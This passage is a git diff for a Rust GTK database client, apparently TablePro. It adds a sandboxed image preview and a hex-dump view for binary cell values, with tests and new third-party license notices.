 pub use self::selection_summary::{SelectionSummary, SummaryRule, summarize};
diff --git a/linux/crates/app/src/ui/data_grid/row_detail/imp.rs b/linux/crates/app/src/ui/data_grid/row_detail/imp.rs
index 64e1d765a2..32623cfecd 100644
--- a/linux/crates/app/src/ui/data_grid/row_detail/imp.rs
+++ b/linux/crates/app/src/ui/data_grid/row_detail/imp.rs
@@ -7,6 +7,7 @@ use libadwaita as adw;
 use libadwaita::subclass::prelude::*;
 
 use super::Shown;
+use super::picture::PictureLoad;
 use super::value_editor::{Loaded, OpenEdit, Placeholders};
 use crate::ui::data_grid::{DataGrid, PinnedRow};
 use crate::ui::handler_guard::HandlerGuard;
@@ -50,6 +51,8 @@ pub struct RowDetailPane {
     #[template_child]
     pub calendar: TemplateChild<gtk::Calendar>,
     #[template_child]
+    pub value_picture: TemplateChild<gtk::Picture>,
+    #[template_child]
     pub clock_button: TemplateChild<gtk::MenuButton>,
     #[template_child]
     pub clock_popover: TemplateChild<gtk::Popover>,
@@ -64,6 +67,8 @@ pub struct RowDetailPane {
     #[template_child]
     pub value_menu_button: TemplateChild<gtk::MenuButton>,
     #[template_child]
+    pub value_scroller: TemplateChild<gtk::ScrolledWindow>,
+    #[template_child]
     pub value_view: TemplateChild<sourceview5::View>,
     #[template_child]
     pub value_buffer: TemplateChild<sourceview5::Buffer>,
@@ -84,6 +89,7 @@ pub struct RowDetailPane {
     pub loaded: RefCell<Option<Loaded>>,
     pub placeholders: RefCell<Placeholders>,
     pub edit: RefCell<Option<OpenEdit>>,
+    pub picture_load: RefCell<Option<PictureLoad>>,
     /// Set while the pane writes the buffer itself, which is no edit.
     pub loading: Cell<bool>,
     /// Set while the pane selects a field itself, which moves no focus.
@@ -122,6 +128,9 @@ impl ObjectSubclass for RowDetailPane {
 
 impl ObjectImpl for RowDetailPane {
     fn dispose(&self) {
+        if let Some(load) = self.picture_load.take() {
+            load.stop();
+        }
         self.guards.take();
         self.obj().stop_watching_columns();
         self.obj().watch_row(None);
diff --git a/linux/crates/app/src/ui/data_grid/row_detail/mod.rs b/linux/crates/app/src/ui/data_grid/row_detail/mod.rs
index afa81b1291..7804cc47ca 100644
--- a/linux/crates/app/src/ui/data_grid/row_detail/mod.rs
+++ b/linux/crates/app/src/ui/data_grid/row_detail/mod.rs
@@ -5,6 +5,7 @@ mod calendar;
 mod clock;
 mod fields;
 mod imp;
+mod picture;
 #[cfg(test)]
 mod tests;
 mod value_editor;
diff --git a/linux/crates/app/src/ui/data_grid/row_detail/picture.rs b/linux/crates/app/src/ui/data_grid/row_detail/picture.rs
new file mode 100644
index 0000000000..b792a49e69
--- /dev/null
+++ b/linux/crates/app/src/ui/data_grid/row_detail/picture.rs
@@ -0,0 +1,117 @@
+use gtk4::prelude::*;
+use gtk4::subclass::prelude::*;
+use gtk4::{gdk, gio, glib};
+use tablepro_session::runtime::Tasks;
+
+use super::RowDetailPane;
+
+// The head glycin guesses the type from.
+const SNIFF_BYTES: usize = u16::MAX as usize;
+// A preview has no use for more, and the texture lives in this process: 256 MB at 8 bits a channel.
+const MAX_PIXELS: u64 = 8192 * 8192;
+
+// Spares copying a blob that is no image: glycin loads only `image/` types.
+pub(super) fn may_be_image(bytes: &[u8]) -> bool {
+    let head = bytes.get(..SNIFF_BYTES).unwrap_or(bytes);
+    let (content_type, _) = gio::content_type_guess(None::<&str>, head);
+    gio::content_type_get_mime_type(&content_type).is_some_and(|mime| mime.starts_with("image/"))
+}
+
+#[derive(Debug)]
+pub struct PictureLoad {
+    pub(super) cancellable: gio::Cancellable,
+    tasks: Tasks,
+}
+
+impl PictureLoad {
+    // glycin's cancel handler spawns on the runtime, which the GTK thread has not entered.
+    pub fn stop(self) {
+        let Self { cancellable, tasks } = self;
+        drop(tasks.spawn_task(async move { cancellable.cancel() }));
+    }
+}
+
+impl RowDetailPane {
+    // Database bytes are untrusted, so they decode in glycin's sandbox, never in this process.
+    pub(super) fn show_picture(&self, bytes: Option<Vec<u8>>) {
+        let imp = self.imp();
+        if let Some(superseded) = imp.picture_load.take() {
+            superseded.stop();
+        }
+        let picture = imp.value_picture.get();
+        picture.set_paintable(None::<&gdk::Paintable>);
+        picture.set_visible(false);
+        let Some(bytes) = bytes.filter(|bytes| may_be_image(bytes)) else {
+            return;
+        };
+        let Some(tasks) = self
+            .grid()
+            .and_then(|grid| grid.config().map(|config| config.tasks.clone()))
+        else {
+            return;
+        };
+        let cancellable = gio::Cancellable::new();
+        let decode = tasks.spawn_task(decode(glib::Bytes::from_owned(bytes), cancellable.clone()));
+        imp.picture_load.replace(Some(PictureLoad {
+            cancellable: cancellable.clone(),
+            tasks,
+        }));
+        let pane = self.downgrade();
+        glib::spawn_future_local(async move {
+            let decoded = decode.await;
+            let Some(pane) = pane.upgrade() else {
+                return;
+            };
+            // The stop of a superseded decode lands on the runtime later than this may.
+            let current = pane
+                .imp()
+                .picture_load
+                .borrow()
+                .as_ref()
+                .is_some_and(|load| load.cancellable == cancellable);
+            if !current {
+                return;
+            }
+            pane.imp().picture_load.take();
+            let texture = match decoded {
+                Ok(Ok(texture)) => texture,
+                Ok(Err(error)) => {
+                    tracing::debug!(%error, "the value is no image glycin can show");
+                    return;
+                }
+                Err(failure) => {
+                    tracing::warn!(%failure, "the value's picture could not be decoded");
+                    return;
+                }
+            };
+            let picture = pane.imp().value_picture.get();
+            picture.set_paintable(texture.as_ref());
+            picture.set_visible(texture.is_some());
+        });
+    }
+}
+
+async fn decode(
+    bytes: glib::Bytes,
+    cancellable: gio::Cancellable,
+) -> Result<Option<gdk::Texture>, Box<glycin::ErrorCtx>> {
+    let mechanism = glycin::SandboxSelector::Auto.determine_sandbox_mechanism().await;
+    let Some(sandbox) = sandbox(mechanism, cfg!(test)) else {
+        tracing::debug!("no sandbox to decode a value's picture in");
+        return Ok(None);
+    };
+    let mut loader = glycin::Loader::new_bytes(bytes);
+    loader.cancellable(cancellable).sandbox_selector(sandbox);
+    let image = loader.load().await.map_err(Box::new)?;
+    let details = image.details();
+    if u64::from(details.width()) * u64::from(details.height()) > MAX_PIXELS {
+        return Ok(None);
+    }
+    Ok(Some(image.next_frame().await.map_err(Box::new)?.texture()))
+}
+
+// glycin's Auto falls back to no sandbox where bwrap cannot make namespaces, and database bytes must
+// never reach a decoder outside one. Tests allow it: CI runs them in containers.
+pub(super) fn sandbox(mechanism: glycin::SandboxMechanism, unsandboxed: bool) -> Option<glycin::SandboxSelector> {
+    (mechanism != glycin::SandboxMechanism::NotSandboxed || unsandboxed).then(|| mechanism.into_selector())
+}
diff --git a/linux/crates/app/src/ui/data_grid/row_detail/tests.rs b/linux/crates/app/src/ui/data_grid/row_detail/tests.rs
index 8b02914e82..c2aad31786 100644
--- a/linux/crates/app/src/ui/data_grid/row_detail/tests.rs
+++ b/linux/crates/app/src/ui/data_grid/row_detail/tests.rs
@@ -793,6 +793,27 @@ fn what_the_value_editor_shows_for_a_cell() {
     assert_eq!(draft.open_placeholder.as_deref(), Some("DEFAULT"));
 }
 
+#[test]
+fn a_binary_value_shows_as_a_read_only_dump() {
+    let blob = column_of(named("blob", "bytea", false));
+    let saved = GridRowId::Persisted(RowKey::from_pk_values(&[Value::Int(1)]).expect("a key"));
+    let shown = |bytes: Vec<u8>| value_content(&blob, &saved, None, &CellInput::Value(Value::Bytes(bytes)));
+
+    let dump = shown(vec![0xab, 0x41]);
+    assert!(dump.hex_dump);
+    assert_eq!(
+        dump.text,
+        "00000000  ab 41                                             |.A|"
+    );
+    assert!(dump.message.is_some(), "a dump opened for typing");
+    let empty = shown(Vec::new());
+    assert_eq!(
+        (empty.text.as_str(), empty.open_placeholder.as_deref()),
+        ("", Some("<0 bytes>")),
+        "an empty value read as no value at all"
+    );
+}
+
 #[gtk4::test]
 fn opening_the_calendar_and_closing_it_records_no_edit() {
     let (grid, pane) = date_grid(a_date(2024, 2, 29));
@@ -961,6 +982,117 @@ fn alt_return_closes_row_details_from_the_pane() {
     .expect("Alt+Return to close Row Details");
 }
 
+fn png_bytes(width: i32, height: i32) -> Vec<u8> {
+    let stride = 4 * width as usize;
+    let pixels = gtk4::glib::Bytes::from_owned(vec![255u8; stride * height as usize]);
+    let texture = gdk::MemoryTexture::new(width, height, gdk::MemoryFormat::R8g8b8a8, &pixels, stride);
+    texture.save_to_png_bytes().to_vec()
+}
+
+// The first decode also starts glycin's loader process.
+const DECODE_WAIT: Duration = Duration::from_secs(30);
+
+fn picture_size(pane: &RowDetailPane) -> Option<(i32, i32)> {
+    let picture = pane.imp().value_picture.get();
+    let paintable = picture.paintable().filter(|_| picture.is_visible())?;
+    Some((paintable.intrinsic_width(), paintable.intrinsic_height()))
+}
+
+fn binary_grid() -> (Grid, RowDetailPane) {
+    opened(
+        vec![
+            named("id", "integer", true),
+            named("photo", "bytea", false),
+            named("blob", "bytea", false),
+            named("note", "text", false),
+        ],
+        vec![vec![
+            Value::Int(1),
+            Value::Bytes(png_bytes(2, 1)),
+            Value::Bytes(b"Hi!\x00".to_vec()),
+            Value::Text("plain".into()),
+        ]],
+    )
+}
+
+#[gtk4::test]
+fn a_binary_value_shows_its_bytes_unwrapped_and_an_image_its_picture() {
+    let (grid, pane) = binary_grid();
+
+    grid.focus(0, 2);
+    drain_main_context();
+    let text = pane.typed_text();
+    assert!(text.starts_with("00000000  48 69 21 00"), "{text}");
+    assert!(text.ends_with("|Hi!.|"), "{text}");
+    assert_eq!(pane.imp().value_view.wrap_mode(), gtk::WrapMode::None);
+    assert_eq!(
+        pane.imp().value_scroller.hscrollbar_policy(),
+        gtk::PolicyType::Automatic
+    );
+    assert_eq!(picture_size(&pane), None, "bytes that are no image showed a picture");
+
+    grid.focus(0, 1);
+    wait_until(DECODE_WAIT, || picture_size(&pane).is_some()).expect("the image's picture");
+    assert_eq!(picture_size(&pane), Some((2, 1)));
+    let (_, natural, _, _) = pane.imp().value_picture.measure(gtk::Orientation::Vertical, 300);
+    assert!(natural < 20, "a 1-pixel-high image asked for {natural} pixels");
+    assert!(pane.typed_text().starts_with("00000000  89 50 4e 47"));
+
+    grid.focus(0, 3);
+    drain_main_context();
+    assert_eq!(picture_size(&pane), None, "a text field kept the picture");
+    assert_eq!(pane.imp().value_view.wrap_mode(), gtk::WrapMode::WordChar);
+    assert_eq!(pane.imp().value_scroller.hscrollbar_policy(), gtk::PolicyType::Never);
+}
+
+#[gtk4::test]
+fn a_picture_the_pane_moved_away_from_never_lands() {
+    let (grid, pane) = binary_grid();
+
+    grid.focus(0, 1);
+    let first = pane
+        .imp()
+        .picture_load
+        .borrow()
+        .as_ref()
+        .expect("a decode under way")
+        .cancellable
+        .clone();
+    grid.focus(0, 2);
+
+    wait_until(DECODE_WAIT, || first.is_cancelled()).expect("the decode of the field left behind stops");
+    assert!(
+        wait_until(Duration::from_secs(2), || picture_size(&pane).is_some()).is_err(),
+        "the picture of the field left behind landed"
+    );
+}
+
+#[gtk4::test]
+fn only_an_image_type_goes_to_the_decoder() {
+    assert!(super::picture::may_be_image(&png_bytes(1, 1)));
+    assert!(super::picture::may_be_image(
+        br#"<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1"/>"#
+    ));
+    assert!(!super::picture::may_be_image(b"Hi!\x00"));
+    assert!(!super::picture::may_be_image(b"%PDF-1.7\n"));
+    assert!(!super::picture::may_be_image(&[]));
+}
+
+#[test]
+fn a_picture_never_decodes_outside_a_sandbox() {
+    use glycin::{SandboxMechanism, SandboxSelector};
+
+    assert!(super::picture::sandbox(SandboxMechanism::NotSandboxed, false).is_none());
+    assert!(matches!(
+        super::picture::sandbox(SandboxMechanism::Bwrap, false),
+        Some(SandboxSelector::Bwrap)
+    ));
+    assert!(matches!(
+        super::picture::sandbox(SandboxMechanism::FlatpakSpawn, false),
+        Some(SandboxSelector::FlatpakSpawn)
+    ));
+}
+
 /// Open the pane's clock until it shows, as `open_calendar` does.
 fn open_clock(pane: &RowDetailPane) {
     for _ in 0..5 {
diff --git a/linux/crates/app/src/ui/data_grid/row_detail/value_editor.rs b/linux/crates/app/src/ui/data_grid/row_detail/value_editor.rs
index 12a30c9990..fe64ce43ed 100644
--- a/linux/crates/app/src/ui/data_grid/row_detail/value_editor.rs
+++ b/linux/crates/app/src/ui/data_grid/row_detail/value_editor.rs
@@ -14,7 +14,7 @@ use crate::application::component_matches;
 use crate::i18n::{gettext, gettext_f};
 use crate::services::grid::{
     CellEditorKind, CellLock, CommitResult, EDIT_MAX_BYTES, EditStart, GridColumn, GridRowId, auto_filled_sentinel,
-    display_text, empty_placeholder,
+    display_text, empty_placeholder, hex_dump,
 };
 use crate::ui::data_grid::edit::CHOICE_ACTIONS;
 use crate::ui::data_grid::selection::Target;
@@ -80,6 +80,8 @@ pub struct ValueContent {
     pub emptied_placeholder: Option<String>,
     pub language: Option<&'static str>,
     pub calendar: bool,
+    /// A hex dump lines up only unwrapped.
+    pub hex_dump: bool,
     /// The column's labels to pick from.
     pub choice: bool,
     pub clock: bool,
@@ -102,6 +104,12 @@ pub fn value_content(column: &GridColumn, row: &GridRowId, lock: Option<CellLock
         CellInput::Value(Value::Null) => Some("NULL".to_owned()),
         CellInput::Default if column.auto_filled() => Some(auto_filled_sentinel()),
         CellInput::Default => Some("DEFAULT".to_owned()),
+        // An empty dump would read as no value at all.
+        CellInput::Value(value @ Value::Bytes(bytes)) if bytes.is_empty() => Some(
+            display_text(value, &column.column_type, &mut String::new())
+                .text
+                .to_owned(),
+        ),
         CellInput::Value(_) => emptied_placeholder.clone(),
     };
     ValueContent {
@@ -114,6 +122,7 @@ pub fn value_content(column: &GridColumn, row: &GridRowId, lock: Option<CellLock
             _ => None,
         },
         calendar: editable && matches!(kind, ColumnKind::Date | ColumnKind::Timestamp { .. }),
+        hex_dump: matches!(input, CellInput::Value(Value::Bytes(_))),
         // The menu holds no text, so a value too long or with a NUL for the
         // editor still opens it.
         choice: lock.is_none() && decodable && CellEditorKind::for_cell(column, Ok(())) == CellEditorKind::Choice,
@@ -136,6 +145,7 @@ fn typed_form(column: &GridColumn, value: &Value) -> (String, Option<String>) {
     };
     let text = match value {
         Value::Null => String::new(),
+        Value::Bytes(bytes) => hex_dump(bytes),
         value => {
             let mut scratch = String::new();
             display_text(value, &column.column_type, &mut scratch).text.to_owned()
@@ -340,6 +350,10 @@ impl RowDetailPane {
         let input = tracked.edit_input(&row, column.index);
         let content = value_content(&column, &row.id(), tracked.lock(&column, &row), &input);
         self.show_value(&column.name, &content);
+        self.show_picture(match input {
+            CellInput::Value(Value::Bytes(bytes)) => Some(bytes),
+            _ => None,
+        });
         imp.loaded.replace(Some(loaded));
     }
 
@@ -351,10 +365,12 @@ impl RowDetailPane {
             emptied_placeholder: None,
             language: None,
             calendar: false,
+            hex_dump: false,
             choice: false,
             clock: false,
         };
         self.show_value("", &content);
+        self.show_picture(None);
         self.imp().value_view.set_editable(false);
         self.imp().loaded.take();
     }
@@ -387,6 +403,12 @@ impl RowDetailPane {
             .update_property(&[gtk::accessible::Property::Label(name)]);
         self.show_message(content.message.as_deref(), false);
         imp.calendar_button.set_visible(content.calendar);
+        let (wrap, hscroll) = match content.hex_dump {
+            true => (gtk::WrapMode::None, gtk::PolicyType::Automatic),
+            false => (gtk::WrapMode::WordChar, gtk::PolicyType::Never),
+        };
+        view.set_wrap_mode(wrap);
+        imp.value_scroller.set_hscrollbar_policy(hscroll);
         imp.choice_button.set_visible(content.choice);
         imp.clock_button.set_visible(content.clock);
         self.update_placeholder();
diff --git a/linux/data/licenses/THIRD-PARTY-NOTICE.md b/linux/data/licenses/THIRD-PARTY-NOTICE.md
index 69686a7235..3815fa2845 100644
--- a/linux/data/licenses/THIRD-PARTY-NOTICE.md
+++ b/linux/data/licenses/THIRD-PARTY-NOTICE.md
@@ -11,6 +11,7 @@ TablePro is licensed under the GNU Affero General Public License, version 3 or l
 - Apache License 2.0 (Apache-2.0)
 - BSD 3-Clause "New" or "Revised" License (BSD-3-Clause)
 - ISC License (ISC)
+- Mozilla Public License 2.0 (MPL-2.0)
 - zlib License (Zlib)
 - Boost Software License 1.0 (BSL-1.0)
 - Creative Commons Zero v1.0 Universal (CC0-1.0)
@@ -2918,6 +2919,28 @@ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLI
 
 Used by:
 
+- libloading 0.8.9
+
+~~~~text
+Copyright © 2015, Simonas Kazlauskas
+
+Permission to use, copy, modify, and/or distribute this software for any purpose with or without
+fee is hereby granted, provided that the above copyright notice and this permission notice appear
+in all copies.
+
+THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS
+SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE
+AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT,
+NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF
+THIS SOFTWARE.
+
+~~~~
+
+### ISC License
+
+Used by:
+
 - rustls-webpki 0.103.16
 
 ~~~~text
@@ -3715,6 +3738,8 @@ DEALINGS IN THE SOFTWARE.
 Used by:
 
 - lazy_static 1.5.0
+- rayon-core 1.13.0
+- rayon 1.12.0
 
 ~~~~text
 Copyright (c) 2010 The Rust Project Developers
@@ -4505,6 +4530,34 @@ SOFTWARE.
 
 Used by:
 
+- dlib 0.5.3
+
+~~~~text
+Copyright (c) 2015 Victor Berger
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.
+~~~~
+
+### MIT License
+
+Used by:
+
 - resolv-conf 0.7.6
 
 ~~~~text
@@ -5169,6 +5222,37 @@ DEALINGS IN THE SOFTWARE.
 
 Used by:
 
+- foreign-types-macros 0.2.4
+- foreign-types-shared 0.3.1
+- foreign-types 0.5.0
+
+~~~~text
+Copyright (c) 2017 The foreign-types Developers
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+
+~~~~
+
+### MIT License
+
+Used by:
+
 - stringprep 0.1.5
 
 ~~~~text
@@ -6379,6 +6463,42 @@ DEALINGS IN THE SOFTWARE.
 
 Used by:
 
+- memmap2 0.9.12
+
+~~~~text
+Copyright (c) 2020 Yevhenii Reizner
+Copyright (c) 2015 Dan Burkert
+
+Permission is hereby granted, free of charge, to any
+person obtaining a copy of this software and associated
+documentation files (the "Software"), to deal in the
+Software without restriction, including without
+limitation the rights to use, copy, modify, merge,
+publish, distribute, sublicense, and/or sell copies of
+the Software, and to permit persons to whom the Software
+is furnished to do so, subject to the following
+conditions:
+
+The above copyright notice and this permission notice
+shall be included in all copies or substantial portions
+of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF
+ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED
+TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
+PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT
+SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
+CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR
+IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+DEALINGS IN THE SOFTWARE.
+
+~~~~
+
+### MIT License
+
+Used by:
+
 - const-oid 0.9.6
 - der_derive 0.7.3
 
@@ -7172,6 +7292,8 @@ DEALINGS IN THE SOFTWARE.
 
 Used by:
 
+- env_filter 2.0.0
+- env_logger 0.11.11
 - toml_datetime 1.1.1+spec-1.1.0
 - toml_edit 0.25.15+spec-1.1.0
 - toml_parser 1.1.3+spec-1.1.0
@@ -7257,6 +7379,36 @@ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
 SOFTWARE.
 
+~~~~
+
+### MIT License
+
+Used by:
+
+- lcms2 6.2.0
+
+~~~~text
+Copyright (c) Kornel Lesiński
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+
+
 ~~~~
 
 ### MIT License
@@ -7603,6 +7755,32 @@ IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
 DEALINGS IN THE SOFTWARE.
 
 
+~~~~
+
+### MIT License
+
+Used by:
+
+- memfd 0.6.6
+
+~~~~text
+Copyright <YEAR> <COPYRIGHT HOLDER>
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of this software and
+associated documentation files (the "Software"), to deal in the Software without restriction,
+including without limitation the rights to use, copy, modify, merge, publish, distribute,
+sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all copies or
+substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT
+NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
+DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT
+OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
 ~~~~
 
 ### MIT License
@@ -7739,6 +7917,69 @@ SOFTWARE.
 
 Used by:
 
+- rmp-serde 1.3.1
+- rmp 0.8.15
+
+~~~~text
+MIT License
+
+Copyright (c) 2017 Evgeny Safronov
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+
+~~~~
+
+### MIT License
+
+Used by:
+
+- static_assertions 1.1.0
+
+~~~~text
+MIT License
+
+Copyright (c) 2017 Nikolai Vazquez
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+
+~~~~
+
+### MIT License
+
+Used by:
+
 - darling 0.24.1
 - darling_core 0.24.1
 - darling_macro 0.24.1
@@ -8022,6 +8263,25 @@ SOFTWARE.
 
 Used by:
 
+- bytemuck 1.25.2
+
+~~~~text
+MIT License
+
+Copyright (c) 2019 Daniel "Lokathor" Gee.
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice (including the next paragraph) shall be included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+~~~~
+
+### MIT License
+
+Used by:
+
 - schemars 1.2.2
 - schemars_derive 1.2.2
 
@@ -8366,6 +8626,37 @@ SOFTWARE.
 
 Used by:
 
+- libseccomp-sys 0.3.0
+- libseccomp 0.4.0
+
+~~~~text
+MIT License
+
+Copyright (c) 2021 Sony Group Corporation
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+~~~~
+
+### MIT License
+
+Used by:
+
 - rustls-platform-verifier 0.7.0
 
 ~~~~text
@@ -8458,6 +8749,38 @@ SOFTWARE.
 
 Used by:
 
+- lcms2-sys 4.0.7
+
